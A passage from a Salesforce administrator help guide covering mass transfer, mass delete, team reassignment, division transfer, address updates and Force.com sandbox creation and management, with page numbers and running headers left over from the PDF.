access to the account. Additionally, the new owner of the record must have at least “Read” permission on accounts.
The Public Full Access and Public Read/Write/Transfer sharing settings give all users the ability to transfer ownership of
that type of record as long as they have the appropriate “Edit” permission.
• In organizations that use territory management, users that have been assigned to territories can be enabled to transfer the
accounts in their territories, even if they are not the record owner.
• To transfer campaigns, users must also have the Marketing User checkbox selected on their user record.
• Partner accounts can only be transferred to users with the “Manage Partners” permission.
• You cannot assign an account with Customer Portal users to an owner who is a partner user.

See Also:
Mass Transferring Records
Changing Ownership
Changing Multiple Cases
Changing Multiple Leads

Mass Transferring Records


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To mass transfer accounts, service contracts, orcustom objects: “Transfer Record”
AND
“Edit” on the object type

To mass transfer leads: “Transfer Leads” OR “Transfer Record”


AND
“Edit” on leads

Use the Mass Transfer tool to transfer multiple accounts, leads, service contracts, and custom objects from one user to another.
Note: To transfer any records that you do not own, you must have the required user permissions as well as read sharing
access on the records.

1. Choose Setup ➤ Data Management ➤ Mass Transfer Records.


2. Click the link for the type of record to transfer.
3. Optionally, fill in the name of the existing record owner in the Transfer from field. For leads, you can transfer from
users or queues.

599
Data Management Mass Transferring Records

4. In the Transfer to field, fill in the name of new record owner. For leads, you can transfer to users or queues.
5. If your organization uses divisions, select the Change division.... checkbox to set the division of all transferred records
to the new owner’s default division.
6. When transferring accounts, you can:

• Select the Transfer open opportunities not owned by the existing account owner checkbox if
you want to transfer open opportunities owned by other users that are associated with the account.
• Select the Transfer closed opportunities checkbox if you want to transfer closed opportunities associated
with the account. This option applies only to closed opportunities owned by the account owner; closed opportunities
owned by other users are not changed.
• Select the Transfer open cases owned by the existing account owner checkbox if you want to transfer
open cases that are owned by the existing account owner and associated with the account.
• Select the Transfer closed cases checkbox if you want to transfer closed cases that are owned by the existing
account owner and associated with the account.
• Select the Keep Account Team checkbox if you want to maintain the existing account team associated with the
account. Deselect this checkbox if you want to remove the existing account team associated with the account.
• Select the Keep Sales Team on all opportunities... checkbox if you want to maintain the existing sales
team on any opportunities associated with this account.
Note: If you transfer closed opportunities, the sales team is maintained, regardless of this setting.

7. Enter search criteria that the records you are transferring must match. For example, you could search accounts in California
by specifying Billing State/Province equals CA.
8. Click Find.
9. Select the checkbox next to the records you want to transfer. Optionally, check the box in the column header to select all
currently displayed items.
Note: If duplicate records are found, you must select only one of the records to transfer. Transferring duplicate
records results in an error.
Duplicate records may display if you filter leads based on Campaign Member Status and a matching lead has the
same campaign member status on multiple campaigns. For example, if you specify Campaign Member Status
equals Sent, and a matching lead named John Smith has the status Sent on two campaigns, his record will
display twice.

10. Click Transfer.

Transfer of Associated Items


When you change record ownership, some associated items that are owned by the current record owner are also transferred
to the new owner.

Record Associated items that are also transferred


Accounts Contacts (on business accounts only), attachments, notes, open activities, open opportunities
owned by the current account owner, and optionally, closed opportunities and open
opportunities owned by other users.
Leads Open activities. When transferring leads to a queue, open activities are not transferred.

600
Data Management Managing Multiple Approval Requests

Access to Transferred Items


When transferring accounts and their related data in Professional, Enterprise, Unlimited, and Developer Editions, all previous
access granted by manual sharing, Apex managed sharing, or sharing rules is removed. New sharing rules are then applied to
the data based on the new owner. The new owner may need to manually share the transferred accounts and opportunities as
necessary to grant access to certain users.

See Also:
Changing Ownership
Changing Multiple Cases
Assigning Leads

Managing Multiple Approval Requests


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage multiple approval requests: “Modify All Data”

To transfer multiple approval requests from one user to another or to remove multiple approval requests from the approval
process:

1. Before transferring an approval request, make sure the new assigned approver has access to read the records for the approval
requests. For example, a user that does not have read access to an Expenses custom object will not be able to view expense
approval requests.
2. Choose Setup ➤ Data Management ➤ Mass Transfer Approval Requests.
3. Enter the search conditions that the approval requests you are transferring must match. For example, you could search for
approval requests that were originally submitted by a particular user by specifying “Original Submitter equals jsmith.” For
more information, see Entering Filter Criteria on page 2163.
4. Click Find to search for approval requests that match.
5. Choose an option:

• Mass remove records from an approval process unlocks the records and removes them from any approval
process so they no longer appear on the approver's list of pending approval requests.
• Mass transfer outstanding approval requests to a new user allows you to select a user and assign
that user as the approver for all approval requests selected.

6. Optionally, enter any comments to be stored with the approval requests. The comments you enter are displayed on the
Approval History related list if your administrator has customized it to include the Comments field.
7. Select the checkbox next to each approval request you want to transfer or remove from the approval process, depending
on the option you selected previously.

601
Data Management Deleting Mass Data

8. Click Transfer or Remove, depending on the option you selected previously.

See Also:
Approval Processes Overview
Approval Process Terminology

Deleting Mass Data


Available in: All Editions

User Permissions Needed


To mass delete data: “Modify All Data”

You can delete multiple cases, solutions, accounts, contacts, leads, products, or activities at one time. Before you use mass
delete, we strongly suggest you run a report to archive your information. We also strongly advise you to run a weekly export
of your data; see Exporting Backup Data on page 593.
To delete multiple records:

1. Click Setup ➤ Data Management ➤ Mass Delete Records.


2. Click the link for the type of record to delete.
3. Review the information that will be deleted along with the records.
4. Specify conditions that the selected items must match, for example, “State equals California.”  For more information, see
Entering Filter Criteria on page 2163.
5. When deleting accounts, check the appropriate boxes if you want to delete accounts with attached closed/won opportunities
or attached opportunities owned by other users.
6. When deleting products, check Archive Products... if you want to include products that are on opportunities.
Archived products are not moved to the Recycle Bin. Check this option to:

• Delete products that are not on opportunities and move them to the Recycle Bin.
• Archive products that are on opportunities. These products are not moved to the Recycle Bin and cannot be recovered.

Leave this box unchecked to delete only those products that are not on opportunities. Selected products that are on
opportunities will remain checked after the deletion to indicate they were not included in the deletion.
7. Choose Search to find records that match.
8. Select the box next to the items you want to delete. Optionally, check the box in the column header to select all currently
displayed items.
9. To permanently delete records, select Permanently delete the selected records. Please note that selecting
this option prevents you from recovering the selected records from the Recycle Bin.
10. Click Delete. If you did not select Permanently delete the selected records, deleted items are moved to the
Recycle Bin.

602
Data Management Deleting Mass Data

Notes on Using Mass Delete


Consider the following when using mass delete:
• You can only delete up to 250 items at one time.
• When you delete a record, any associated records that display on that record's related lists are also deleted.
• Accounts and contacts associated with cases cannot be deleted.
• Partner accounts with partner users cannot be deleted.
• Contacts enabled for Self-Service, and their associated accounts, cannot be deleted.
• When deleting products, all related price book entries are deleted with it.
• Products on opportunities cannot be deleted, but they can be archived.
• When you delete activities:
- Any archived activities that meet the conditions are also deleted.
- Requested meetings aren't included in the mass-delete until they're confirmed and automatically converted to group
events.

• The child events of a recurring event are not displayed in the list of possible items to delete, but they are deleted along
with their associated event series.
• Deleting a master solution does not delete the translated solutions associated with it. Instead, each translated solution
becomes a master solution.
• Deleting a translated solution removes the association with its master solution.

Sample Uses for Mass Delete


The following examples illustrate some common uses of mass delete.
• You imported your organization's leads incorrectly and you want to delete those imported leads. View the Using Mass
Delete to Undo Imports document for complete instructions.
• A user named John Smith recently left your organization, and he had several contacts that were duplicates of other users'
data. To delete these duplicate contacts, select contacts as the record type to delete and enter “Owner Alias equals jsmith.”
• Your organization may have formerly entered all leads as accounts with the Type field set to “Prospect.” You now want
to convert these accounts into leads. To do this, run a report of these accounts, export it to Excel, and then use the Import
My Organization’s Leads wizard to import the data as leads. Then using mass delete, select accounts as the record type to
delete and enter “Type equals Prospect” to locate all accounts you want to delete.
• You want to delete all the leads that have been converted for your organization. Select the lead record type, enter “Converted
equals 1” for the search criteria, then choose Search.
You might also want to use mass delete to clean up any old records you may have, to delete web-generated leads that were
created incorrectly, or to delete accounts and contacts with whom you no longer do business.

See Also:
Undoing an Import
Recycle Bin

603
Data Management Reassigning Multiple Team Members

Reassigning Multiple Team Members


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To mass transfer team members: “Use Team Reassignment Wizards”

If your organization uses account teams or sales teams, you can make changes to a team member on multiple records at a time.
Using Salesforce.com, you can add, remove, or replace a team member on any record that contains that team member.
See the following topics for details:

• Adding a Team Member to Multiple Records on page 604


• Removing a Team Member from Multiple Records on page 605
• Replacing a Team Member on Multiple Records on page 606

Adding a Team Member to Multiple Records


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To mass transfer team members: “Use Team Reassignment Wizards”

To add an account or sales team member to multiple records at a time:

1. Choose Setup ➤ Data Management ➤ Mass Reassign Account Teams or Setup ➤ Data Management ➤ Mass
Reassign Opportunity Teams.
Depending on your profile, you may not see the Data Management link on the Setup page. In that case, click Mass
Reassign Account Teams from the Tools section at the bottom of the Accounts tab, or click Mass Reassign Opportunity
Teams from the Tools section at the bottom of the Opportunities tab.
2. Choose the Add option and click Next.
3. Enter your criteria to find the records you want to change and click Next.
4. Check the boxes next to the records you want to change. Optionally, check the box in the column header to select all
currently displayed items.
5. Click Next.
6. Choose a team member to add to the selected records.
7. Select a role for the new team member.
8. For account teams, select the appropriate account, contact, case, and opportunity access. For sales teams, select the
appropriate opportunity access.
9. Click Add.

604
Data Management Reassigning Multiple Team Members

10. Click Done after reviewing the number of records changed.

Note: To add a new team member to an opportunity, the team member must have read access to the associated
account. Team members who do not have read access to the account will not be added to the opportunity team unless
you have the “Modify All Data” permission or are the account owner or above the account owner in the role hierarchy.

See Also:
Removing a Team Member from Multiple Records
Replacing a Team Member on Multiple Records

Removing a Team Member from Multiple Records


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To mass transfer team members: “Use Team Reassignment Wizards”

To remove an account or sales team member from multiple records at a time:

1. Choose Setup ➤ Data Management ➤ Mass Reassign Account Teams or Setup ➤ Data Management ➤ Mass
Reassign Opportunity Teams.
Depending on your profile, you may not see the Data Management link on the Setup page. In that case, click Mass
Reassign Account Teams from the Tools section at the bottom of the Accounts tab, or click Mass Reassign Opportunity
Teams from the Tools section at the bottom of the Opportunities tab.
2. Choose the Remove option and click Next.
3. Enter your criteria to find the records you want to change and click Next. For information on finding records, see Entering
Filter Criteria on page 2163.
4. Check the boxes next to the records you want to remove. Optionally, check the box in the column header to select all
currently displayed items.
5. Click Next.
6. Choose the existing team member to remove from the selected records.
7. Select a role. The team member is removed only if he or she plays this role. Or, select “Any Role” to removed the team
member regardless of what role he or she plays.
8. Check the following options when applicable:

• Reassign all open activities... if you want open activities for the removed team member assigned to the
account owner.
• Reassign all open opportunities... if you want open opportunities for the removed team member to be
assigned to the account owner.
• Reassign all open cases... if you want open cases for the removed team member to be assigned to the account
owner.

605
Data Management Reassigning Multiple Team Members

• Reassign all contacts... if you want to assign all contact records owned by the removed team member to the
account owner.

9. Click Remove.
10. Click Done after reviewing the number of records changed.

See Also:
Adding a Team Member to Multiple Records
Replacing a Team Member on Multiple Records

Replacing a Team Member on Multiple Records


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To mass transfer team members: “Use Team Reassignment Wizards”

To replace an account or sales team member with a different one on multiple records at a time, or to change the role of a team
member:

1. Choose Setup ➤ Data Management ➤ Mass Reassign Account Teams or Setup ➤ Data Management ➤ Mass
Reassign Opportunity Teams.
Depending on your profile, you may not see the Data Management link on the Setup page. In that case, click Mass
Reassign Account Teams from the Tools section at the bottom of the Accounts tab, or click Mass Reassign Opportunity
Teams from the Tools section at the bottom of the Opportunities tab.
2. Choose the Replace option and click Next.
3. Enter your criteria to find the records you want to change and click Next.
4. Check the boxes next to the records you want to select. Optionally, check the box in the column header to select all currently
displayed items.
5. Click Next.
6. Select the team member currently on the selected records that you want to change.
7. Select the new team member to replace the current one. To simply change the role of a team member, select the existing
team member here as well.
8. Choose a role for the team member. Choose Use Role of Replaced Team Member to keep the current role.
9. For account teams, select the appropriate account, contact, case, and opportunity access. For sales teams, select the
appropriate opportunity access.
10. Check the following options when applicable:

• Reassign all open activities... if you want to assign all open activity records to the replacement team
member.
• Reassign all open opportunities... if you want to assign all open opportunity records to the replacement
team member.

606
Data Management Transferring Divisions

• Reassign all open cases... if you want to assign all open cases to the replacement team member.
• Reassign all contacts... if you want to assign the contacts associated with the updated records to the replacement
team member.

11. Click Replace.


12. Click Done after reviewing the number of records changed.

Note: To replace a team member and reassign associated records, you need the “Modify All Data” permission, or you
must be the record owner or above the record owner in the role hierarchy. Associated records that do not meet these
criteria will not be reassigned.

See Also:
Adding a Team Member to Multiple Records
Removing a Team Member from Multiple Records

Transferring Divisions
Available in: Professional, Enterprise, and Unlimited Editions

User Permissions Needed


To mass transfer divisions: “Modify All Data”

To change the division for multiple records at one time:

1. Click Setup ➤ Data Management ➤ Mass Division Transfer.


2. Select the type of record for which you want to reassign divisions, and click Next.
When you transfer divisions for accounts, all records related to a particular account, such as contacts and opportunities,
inherit the division of that account. Likewise, transferring divisions for custom objects includes any custom objects on the
detail side of a master-detail relationship with that custom object.
3. Set the search conditions that the records must match, and click Next.
4. Select the new division for the matching records.
5. When transferring users, select the Change the division... checkbox to also change the division of the records
owned by the users.
6. Click Transfer.
If you are transferring less than 5,000 records, they are transferred immediately. A confirmation message displays when
the transfers are complete.

607
Data Management Mass Updating Addresses

If you are transferring 5,000 or more records, the request is placed in a queue for processing. You will receive an email
notification when the transfers are complete.

See Also:
About Divisions
Changing Your Working Division
Changing Your Default Division

Mass Updating Addresses


Available in: All Editions

User Permissions Needed


To mass update addresses: “Modify All Data”
To mass update addresses of contracts:
“Modify All Data”
AND
“Activate Contracts”

Use mass updating addresses to standardize on one naming convention for a country and state/province for your organization's
existing address fields in accounts, contacts, contracts, and leads. For example, instead of having multiple records with US,
USA, or United States in the address fields, you can use mass updating addresses to enter one name, such as US, for all of the
records.

1. Choose Setup ➤ Data Management ➤ Mass Update Addresses.


2. Select the type of data to update - Countries or State/Province. If you chose State/Province, enter the country
in which to update the state or province. Click Next to continue.
3. Select the values to update and click Add. The Selected Values box displays the values that will be updated. To remove
values, click Remove.
The Available Values box displays the address values found in existing records. To find additional addresses to update
together as a group, enter all or part of a value and click Find.
If your organization has large amounts of data, instead of using the Available Values box, enter existing values to update
in the text area. Each value should be separated by a new line.
4. In the Replace selected values with field, enter the value with which to replace the specified address data, and
click Next. If your organization has large amounts of data, this field is called Replace entered values with.
The number and type of address records which will be updated in your organization are displayed. If your organization
has large amounts of data, only the values that will be updated are displayed.
5. Click Replace to update the values.

608
Data Management Force.com Sandbox

Tips on Mass Updating Addresses


• As a best practice, update countries first, and then update states or provinces within that newly standardized country value.
• Use the mass updating address tool to convert inconsistent address formats to one international standard, such as ISO
codes. For a list of ISO codes, see the International Organization for Standardization website.
• Use the mass updating tool regularly to cleanse your address data of inconsistent values created by users or via import, sync,
or the Force.com API.
• Any country or state/province value can be created manually or via import, sync, or the Force.com API. Address values
are not validated upon creation.
• Remember to change filter conditions to reflect any address updates. For example, if you change “United States” to “US,”
then assignment rules, Web-to-Lead, Web-to-Case, Email-to-Case, and On-Demand Email-to-Case will continue to
use “United States” unless updated to “US.”

Force.com Sandbox
Available in: Enterprise and Unlimited Editions

User Permissions Needed


To view a sandbox: “View Setup and Configuration”
To create, refresh, activate, and delete sandboxes: “Modify All Data”

Salesforce.com gives you the ability to create multiple copies of your organization in separate environments for a variety of
purposes, such as testing and training, without compromising the data and applications in your Salesforce.com production
organization. These copies are called sandboxes and are nearly identical to your Salesforce.com production organization. For
a list of differences, see Force.com Sandbox Setup Tips and Considerations on page 612.
Sandboxes are completely isolated from your Salesforce.com production organization, so operations you perform in your
sandboxes do not affect your Salesforce.com production organization, and vice-versa.
There are three types of sandboxes:
Configuration Only
Configuration-only sandboxes copy all of your production organization's reports, dashboards, price books, products,
apps, and customizations under Setup, but exclude all of your organization's standard and custom object records,
documents, and attachments. Creating a configuration-only sandbox can decrease the time it takes to create or refresh
a sandbox from several hours to just a few minutes, but it can only include up to 500 MB of data.

Developer Sandbox
Developer Sandboxes are special configuration-only sandboxes intended for coding and testing by a single developer.
They provide an environment in which changes under active development can be isolated until they are ready to be
shared. Just like configuration-only sandboxes, Developer Sandboxes copy all application and configuration information
to the sandbox. Developer Sandboxes are limited to 10 MB of test or sample data, which is enough for many development
and testing tasks.

609
Data Management Force.com Sandbox

Full
Full sandboxes copy your entire production organization and all of its data, including standard and custom object records,
documents, and attachments.

Sandbox Limits
The following limits apply to sandboxes:
• You can refresh each sandbox 29 days from its previous refresh or creation.
• You may order up to a maximum of three full sandboxes.
• You may order up to a maximum of six configuration-only sandboxes.
• Enterprise Edition includes one Developer Sandbox.
• Unlimited Edition includes one full sandbox with the option to purchase up to three more full sandboxes.
Note: Contact salesforce.com to order sandboxes for your organization.

See Also:
Creating or Refreshing a Sandbox
Force.com Sandbox Setup Tips and Considerations
Managing Sandboxes

Creating or Refreshing a Sandbox


Available in: Enterprise and Unlimited Editions

User Permissions Needed


To view a sandbox: “View Setup and Configuration”
To create, refresh, activate, and delete sandboxes: “Modify All Data”

To create or refresh a sandbox:

1. Click Setup ➤ Data Management ➤ Sandbox.


2. Select one of the following:

• Click New Sandbox to create a new sandbox. For information on different kinds of sandboxes, see Force.com Sandbox
on page 609.
Salesforce.com deactivates the New Sandbox button when an organization reaches its sandbox limit. If necessary,
contact salesforce.com to order more sandboxes for your organization.
Note that Salesforce.com deactivates all refresh links if you have exceeded your sandbox limit.
• Click Refresh to replace an existing sandbox with a new copy. Salesforce.com only displays the Refresh link for
sandboxes that are eligible for refreshing, which is any time after 30-days from the previous creation or refresh of that

610
Data Management Force.com Sandbox

sandbox. Your existing copy of this sandbox remains available while you wait for the refresh to complete. The refreshed
copy is inactive until you activate it.

3. Enter a name and description for the sandbox. You can only change the name when you create or refresh a sandbox.
Tip: We recommend that you choose a name that:

• Reflects the purpose of this sandbox, such as “QA.”


• Has few characters because Salesforce.com automatically appends the sandbox name to usernames and email
addresses on user records in the sandbox environment. Names with fewer characters make sandbox logins easier
to type.

4. Select the type of sandbox:

• Configuration-only sandboxes copy all of your production organization's reports, dashboards, price books, products,
apps, and customizations under Setup, but exclude all of your organization's standard and custom object records,
documents, and attachments. Creating a configuration-only sandbox can decrease the time it takes to create or refresh
a sandbox from several hours to just a few minutes, but it can only include up to 500 MB of data.
• Developer Sandboxes are special configuration-only sandboxes intended for coding and testing by a single developer.
They provide an environment in which changes under active development can be isolated until they are ready to be
shared. Just like configuration-only sandboxes, Developer Sandboxes copy all application and configuration information
to the sandbox. Developer Sandboxes are limited to 10 MB of test or sample data, which is enough for many development
and testing tasks.
• Full sandboxes copy your entire production organization and all of its data, including standard and custom object
records, documents, and attachments.
• If you have reduced the number of sandboxes you purchased, but you still have more sandboxes of a specific type than
allowed, you will be required to match your sandboxes to the number of sandboxes that you purchased. For example,
if you have two full sandboxes but purchased only one, you cannot refresh your full sandbox as a full sandbox. Instead,
you must choose one full sandbox to convert to a smaller sandbox, such as configuration-only or developer sandbox,
depending on which type of sandbox you have available.

Note: Configuration-only and Developer Sandboxes copy all of your production organization's reports, dashboards,
price books, products, apps, and customizations under Setup, but exclude all of your organization's standard and
custom object records, documents, and attachments. Because they copy much less data, creating these sandbox
types can substantially decrease the time it takes to create or refresh a sandbox.

If you are refreshing an existing sandbox, the radio button usually preselects the sandbox type corresponding to the sandbox
you are refreshing. For example, if you refresh a configuration-only sandbox, the radio button preselects Configuration
Only.
Whether refreshing an existing sandbox or creating a new one, some radio buttons may be disabled if you have already
created the number of sandboxes of that sandbox type allowed for your organization.
5. Click Start Copy.
The process may take several minutes, hours, or even days, depending on the size of your organization and whether you
are creating a full copy or configuration-only copy.
Tip: You should try to limit changes in your production organization while the sandbox copy proceeds.

611
Data Management Force.com Sandbox

6. You will receive a notification email when your newly created or refreshed sandbox has completed copying. If you are
creating a new sandbox, the newly created sandbox is now ready for use.
If you are refreshing an existing sandbox, an additional step is required to complete the sandbox copy process. The new
sandbox must be activated. To delete your existing sandbox and activate the new one, return to the sandbox list by logging
into your production organization and navigating to Setup ➤ Data Management ➤ Sandbox. Then click the Activate
link next to the sandbox you wish to activate. This will take you to a page warning of removal of your existing sandbox.
Please read the warning carefully and if you agree to the removal, enter the acknowledgment text at the prompt and click
the Activate button. When the activation process is complete, you will receive a notification email.
Caution: Activating a replacement sandbox that was created using the Refresh link completely deletes the sandbox
it is refreshing. All configuration and data in the prior sandbox copy will be lost, including any application or data
changes you have made. Please read the warning carefully, and press the Activate link only if you have no further
need for the contents of the sandbox copy currently in use. Your production organization and its data will not be
affected.

7. Once your new sandbox is complete, or your refreshed sandbox is activated, you can click the link in the notification email
to access your sandbox.
Users can log into the sandbox at test.salesforce.com/login.jsp by appending .sandbox_name to their
Salesforce.com username. For example, if your username for your production organization is user1@acme.com, then
your username for a sandbox named “test” is user1@acme.com.test. For more information, see Username and Email
Address Modification on page 613.
Note: Salesforce.com automatically changes sandbox usernames but does not change passwords.

Force.com Sandbox Setup Tips and Considerations


Available in: Enterprise and Unlimited Editions

User Permissions Needed


To view a sandbox: “View Setup and Configuration”
To create, refresh, activate, and delete sandboxes: “Modify All Data”

Consider the following before you create a sandbox.

Servers and IDs


• The organization IDs of your sandboxes differ from your production organization ID, and will change each time your
sandbox is refreshed.
• Salesforce.com stores sandbox organizations on several instances. When a sandbox is created or refreshed, an instance is
selected for your sandbox, so your sandbox may appear on different instances and have different URLs.

612
Data Management Force.com Sandbox

• When data that contains object IDs is copied from your production instance into your sandbox, the object IDs in your
sandbox match the object IDs in your production instance. However, data created in your production instance or sandbox
will not contain matching object IDs.

Username and Email Address Modification


• User information is included in a sandbox copy or refresh for all sandbox types. Because all Salesforce.com usernames must
be unique and reference a single organization, all copied usernames are modified to ensure uniqueness during the copy
process. Usernames are modified differently for each sandbox copy. Entering a particular modified username will log you
into a specific sandbox.
• For each username, the copy process applies one or two modifications as necessary to generate a unique new username:
- First, the sandbox name is appended to the username, so that for a sandbox named test, user@acme.com may become
user@acme.com.test.
- If the resulting username is not unique, a second modification is performed in which a number of characters and digits
are prepended to the modified username. This second modification may result in a username such as
00x7Vquser@acme.com.test.

• Email addresses are modified in a sandbox so that production users, who may not know of the sandbox, do not receive
automatically generated email messages from the sandbox, such as notifications from triggered workflow or escalation
rules. By modifying user email addresses, any email messages sent from the sandbox are not delivered to production users.
• You can manually correct email addresses in the sandbox user records for users who will use the sandbox for testing and
training.
Caution: Sandboxes automatically change Salesforce.com user email addresses, but do not change other email
addresses in Salesforce.com, such as those in contact records. To avoid sending unsolicited email from your
sandboxes, manually invalidate or delete all email addresses in your sandboxes that do not belong to users. When
testing the generation of outbound email, change contact email addresses to those of testers or an automated test
script.

Creating, Refreshing, and Deleting Sandboxes


• Sandbox copy is a long-running operation that occurs in the background. You are notified of the completion of a sandbox
copy via email. Sandbox refreshes may complete in minutes, days, or even more than a week.
• A number of conditions factor into the duration of a sandbox copy or refresh, including the number of customizations,
data size, numbers of objects (for full copies), and server load. Also, sandbox refreshes are queued, so your requested copy
may not start immediately after your request.
• A sandbox is not a point-in-time snapshot of the exact state of your data. Furthermore, we recommend that you limit
changes to your production organization while a sandbox is being created or refreshed. Setup and data changes to your
production organization during the sandbox creation and refresh operations may result in inconsistencies in your sandbox.
You may detect and correct some inconsistencies in your sandbox after it is copied or refreshed.
• Some types of sandboxes may not be available to choose from if you already reached your organization's limit of the types
of sandboxes you can create or refresh. For example, if your organization is limited to one full sandbox, and a full sandbox
is already created, you may not select Full when creating a new sandbox. However, you may refresh your existing full
sandbox.
• When you are finished with a sandbox, you can refresh it to create a new copy. However, if you have reduced your
organization's number of sandboxes, a Delete link displays next to existing sandboxes, allowing you to delete a sandbox
of your choice. Note that you must delete a sandbox before you can refresh any more sandboxes.
• If you have active Salesforce to Salesforce connections in your sandbox, you must deactivate and then reactivate the
connection(s) after the sandbox is refreshed.

613
Data Management Force.com Sandbox

Accessing Sandboxes
• Access Changes for Sandbox Users
- A sandbox refresh deletes and recreates the sandbox as a new copy of the production organization. In effect, this reverses
any manual access changes you've performed. If you created sandbox-only users, they will no longer exist, and a user’s
profile and permissions revert to their values in the production organization. This means that after a refresh, any access
changes will need to be repeated in the new copy.
- You can create users in your production organization that are inactive, and then activate them in sandbox. This is a
good way to create a user in sandbox that has the appropriate permissions to develop in sandbox. For more information,
see Editing Users on page 447.
- Many development and testing tasks require the “Modify All Data” permission. Because your developers might not
have that permission in the production organization, you may need to increase their permissions in sandbox. Exercise
caution when granting this permission in sandbox organizations that contain sensitive information copied from production
(for example, social security numbers). To change organization permissions, see Viewing and Editing Profiles on page
465.
- You can create new users for sandbox development, but these count against the number of licensed users in your
organization. To reduce your license count, you can disable production users who won’t need access to the sandbox.
For more information, see Deactivating Users on page 449.
- To grant users access to a sandbox, you must log in as the administrator on the sandbox organization, and then create
or upgrade user access in the sandbox.

• Always log in to your sandbox organization using the https://test.salesforce.com login URL.
• Remember to log in using the modified username as described in Username and Email Address Modification on page 613.
• If using the API, after you log in you must use the redirect URL that is returned in the loginResult object for subsequent
access. This URL reflects the instance on which the sandbox is located and the appropriate server pool for API access.
• All sandbox copies are made with federated authentication with SAML disabled. Any configuration information is preserved,
except the value for Recipient URL changes to http://tapp0.salesforce.com. The Recipient URL is updated
to match your sandbox URL, for example http://cs1.salesforce.com, after you re-enable SAML. To enable SAML
in the sandbox copy, click Setup ➤ Security Controls ➤ Single Sign-On Settings; then click Edit, and select SAML
Enabled. You must change the value of the Recipient URL in the certificate for your client application as well. For more
information, see Configuring SAML Settings for Single Sign-On on page 559.

Sandbox Storage Limits


• Full copy sandboxes have the same storage limit as your production organization.
• Configuration-only sandboxes have a 500 MB storage limit.
• Developer Sandboxes have a 10 MB storage limit.
• Sandboxes do not send email notifications when storage limits are reached. However, if you reach your sandbox's storage
limit, you cannot save new data in your sandbox. To check your sandbox's storage limits, click Setup ➤ Data Management
➤ Storage Usage in your sandbox. For more information on storage limits, see Monitoring Resources on page 595.

Customization and Data Changes


• Customizations and data changes in your production organization do not automatically appear in your sandboxes. You
must create a new sandbox or refresh an existing one to see the customizations made to your organization since the last
time you created or refreshed a sandbox.
• You can only add, edit, or delete Apex using the Salesforce.com user interface in a Developer Edition or sandbox organization.
In a Salesforce.com production organization, you can only make changes to Apex by using the compileAndTestAPI()
call. For more information, see the Force.com Apex Code Developer's Guide.
• If your sandbox is the same version as Force.com AppExchange, you can:
- Install and deploy apps from Force.com AppExchange in your sandbox.

614
Data Management Force.com Sandbox

- Publish apps from your sandbox to Force.com AppExchange.


Publishing managed packages from a Force.com Sandbox is not advised, as refreshing or deleting the sandbox will
prevent any revisions to that managed package.

The version of your sandboxes may differ from Force.com AppExchange around the time of a Salesforce.com release.
Check the logo in the upper left corner of your sandbox home page for version information.

Service Exclusions
• The following features are disabled and cannot be enabled in sandboxes:
- Case escalation
- Opportunity reminders
- Contract expiration warnings
- Subscription summary
- Automated weekly data exports
- The ability to create Salesforce.com sandboxes.
Case escalation, opportunity reminders, and contract expiration warnings are disabled because they automatically send
email to contacts, customers and users who should not interact with sandboxes.
- Testing Salesforce for Google AdWords in your sandbox is not supported. Attempting to test Salesforce for Google
AdWords in your sandbox will result in errors because your sandbox organization operates with the same link to your
Google AdWords account as your production organization.
- Email service addresses that you create in your sandbox cannot be copied to your production organization.

Other Service Differences


• Only custom links created as relative URLs, such as /00Oz0000000EVpU&pv0={!Account_ID} will work when copied
to your sandboxes. Custom links created as absolute URLs, such as
https://na1.salesforce.com/00Oz0000000EVpU&pv0={!Account_ID}, do not work in your organization's
sandboxes. We recommend that you use only relative URLs in your production organization. Otherwise, you will need to
correct the URLs in each sandbox.
• Salesforce.com has a background process that permanently deletes records in the Recycle Bin that are older than 30 days.
This process runs at different times on different servers, so its timestamp in your sandbox differs from its timestamp in
your production organization. Applications and integrations that depend on this timestamp may fail if they are first
connected to one environment, such as your production organization, and then later connected to another environment,
such as your sandbox. Keep this in mind when developing applications and integrations that depend on this timestamp.
Note that the time of the latest execution of the background delete process is available through the getDeleted() API
call. For more information, see the Web Services API Developer's Guide.

See Also:
Force.com Sandbox

615
Data Management Force.com Sandbox

Managing Sandboxes
Available in: Enterprise and Unlimited Editions

User Permissions Needed


To view a sandbox: “View Setup and Configuration”
To create, refresh, activate, and delete sandboxes: “Modify All Data”

To manage your sandboxes, click Setup ➤ Data Management ➤ Sandbox. A list of your existing sandboxes displays.

• Click New Sandbox to create a new sandbox. For information on different kinds of sandboxes, see Force.com Sandbox
on page 609.
Salesforce.com deactivates the New Sandbox button when an organization reaches its sandbox limit. If necessary, contact
salesforce.com to order more sandboxes for your organization.
Note that Salesforce.com deactivates all refresh links if you have exceeded your sandbox limit.
• Click Show Sandbox Refreshes to see a log of your sandbox refresh history, including when sandboxes were created and
who created them.
• Click Refresh to replace an existing sandbox with a new copy. Salesforce.com only displays the Refresh link for sandboxes
that are eligible for refreshing, which is any time after 30-days from the previous creation or refresh of that sandbox. Your
existing copy of this sandbox remains available while you wait for the refresh to complete. The refreshed copy is inactive
until you activate it.
• Click Activate to activate a refreshed sandbox. You must activate your refreshed sandbox before you can access it.
Salesforce.com only displays this option for sandboxes that are not activated.
Caution: Activating a refreshed sandbox replaces the existing sandbox with the refreshed version. This permanently
deletes the existing version and all data in it. Your production organization and its data will not be affected.

• Click Del to delete a sandbox. The delete option is only available if your organization exceeds its sandbox limit.
Caution: Deleting a sandbox permanently erases the sandbox and all data in it. Your production organization and
its data will not be affected.

• Click Login to log in to a sandbox. Salesforce.com only displays this option for active sandboxes.
Note that the Login button is for administrators and may not always be available; however, you can log into an active
sandbox at https://test.salesforce.com by entering your modified username and password. To change your
username or password, see Changing Your Password on page 35.
• Click on a sandbox name to view details about the sandbox, including the sandbox type and when it was created.

See Also:
Force.com Sandbox

616
Data Management Using TrialForce to Export Organization Data to a DOT file

Using TrialForce to Export Organization Data to a DOT file


Available in: All Editions

User Permissions Needed


To configure and export a TrialForce DOT: “Modify All Data”
To view the list of exported DOTs: “View Setup and Configuration”

TrialForce helps you create customized trials by configuring which data and metadata you want to include in your DOT.
TrialForce signs up organizations on the correct instance based on geography and automatically upgrades the TrialForce DOTs
at release time. There is no longer any downtime for trials beyond the standard downtime for the release on the instance.
To configure and export your DOT:

